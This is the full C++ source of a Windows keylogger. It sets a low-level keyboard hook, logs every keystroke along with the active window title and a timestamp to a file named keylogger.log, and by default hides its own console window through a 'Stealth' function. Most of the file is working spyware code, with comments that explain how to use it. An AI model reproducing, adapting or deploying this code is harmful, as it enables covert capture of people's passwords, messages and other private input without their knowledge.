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| #define UNICODE #include <Windows.h> #include <cstdio> #include <fstream> #include <iostream> #include <sstream> #include <time.h> #include <map>
// defines whether the window is visible or not // should be solved with makefile, not in this file #define invisible // (visible / invisible) // defines which format to use for logging // 0 for default, 10 for dec codes, 16 for hex codex #define FORMAT 0 // defines if ignore mouseclicks #define mouseignore // variable to store the HANDLE to the hook. Don't declare it anywhere else then globally // or you will get problems since every function uses this variable.
#if FORMAT == 0 const std::map<int, std::string> keyname{ {VK_BACK, "[BACKSPACE]" }, {VK_RETURN, "\n" }, {VK_SPACE, "_" }, {VK_TAB, "[TAB]" }, {VK_SHIFT, "[SHIFT]" }, {VK_LSHIFT, "[LSHIFT]" }, {VK_RSHIFT, "[RSHIFT]" }, {VK_CONTROL, "[CONTROL]" }, {VK_LCONTROL, "[LCONTROL]" }, {VK_RCONTROL, "[RCONTROL]" }, {VK_MENU, "[ALT]" }, {VK_LWIN, "[LWIN]" }, {VK_RWIN, "[RWIN]" }, {VK_ESCAPE, "[ESCAPE]" }, {VK_END, "[END]" }, {VK_HOME, "[HOME]" }, {VK_LEFT, "[LEFT]" }, {VK_RIGHT, "[RIGHT]" }, {VK_UP, "[UP]" }, {VK_DOWN, "[DOWN]" }, {VK_PRIOR, "[PG_UP]" }, {VK_NEXT, "[PG_DOWN]" }, {VK_OEM_PERIOD, "." }, {VK_DECIMAL, "." }, {VK_OEM_PLUS, "+" }, {VK_OEM_MINUS, "-" }, {VK_ADD, "+" }, {VK_SUBTRACT, "-" }, {VK_CAPITAL, "[CAPSLOCK]" }, }; #endif HHOOK _hook;
// This struct contains the data received by the hook callback. As you see in the callback function // it contains the thing you will need: vkCode = virtual key code. KBDLLHOOKSTRUCT kbdStruct;
int Save(int key_stroke); std::ofstream output_file;
// This is the callback function. Consider it the event that is raised when, in this case, // a key is pressed. LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { // the action is valid: HC_ACTION. if (wParam == WM_KEYDOWN) { // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct. kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
// save to file Save(kbdStruct.vkCode); } }
// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops return CallNextHookEx(_hook, nCode, wParam, lParam); }
void SetHook() { // Set the hook and set it to use the callback function above // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN. // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the // function that sets and releases the hook. if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0))) { LPCWSTR a = L"Failed to install hook!"; LPCWSTR b = L"Error"; MessageBox(NULL, a, b, MB_ICONERROR); } }
void ReleaseHook() { UnhookWindowsHookEx(_hook); }
int Save(int key_stroke) { std::stringstream output; static char lastwindow[256] = ""; #ifndef mouseignore if ((key_stroke == 1) || (key_stroke == 2)) { return 0; // ignore mouse clicks } #endif HWND foreground = GetForegroundWindow(); DWORD threadID; HKL layout = NULL;
if (foreground) { // get keyboard layout of the thread threadID = GetWindowThreadProcessId(foreground, NULL); layout = GetKeyboardLayout(threadID); }
if (foreground) { char window_title[256]; GetWindowTextA(foreground, (LPSTR)window_title, 256);
if (strcmp(window_title, lastwindow) != 0) { strcpy_s(lastwindow, sizeof(lastwindow), window_title);
// get time time_t t = time(NULL); struct tm tm; localtime_s(&tm, &t); char s[64]; strftime(s, sizeof(s), "%c", &tm);
output << "\n\n[Window: " << window_title << " - at " << s << "] "; } }
#if FORMAT == 10 output << '[' << key_stroke << ']'; #elif FORMAT == 16 output << std::hex << "[" << key_stroke << ']'; #else if (keyname.find(key_stroke) != keyname.end()) { output << keyname.at(key_stroke); } else { char key; // check caps lock bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
// check shift key if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) { lowercase = !lowercase; }
// map virtual key according to keyboard layout key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
// tolower converts it to lowercase properly if (!lowercase) { key = tolower(key); } output << char(key); } #endif // instead of opening and closing file handlers every time, keep file open and flush. output_file << output.str(); output_file.flush();
std::cout << output.str();
return 0; } void Stealth() { #ifdef visible ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window #endif
#ifdef invisible ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window #endif }
int main() { // open output file in append mode const char* output_filename = "keylogger.log"; std::cout << "Logging output to " << output_filename << std::endl; output_file.open(output_filename, std::ios_base::app);
// visibility of window Stealth();
// set the hook SetHook();
// loop to keep the console application running. MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { } }
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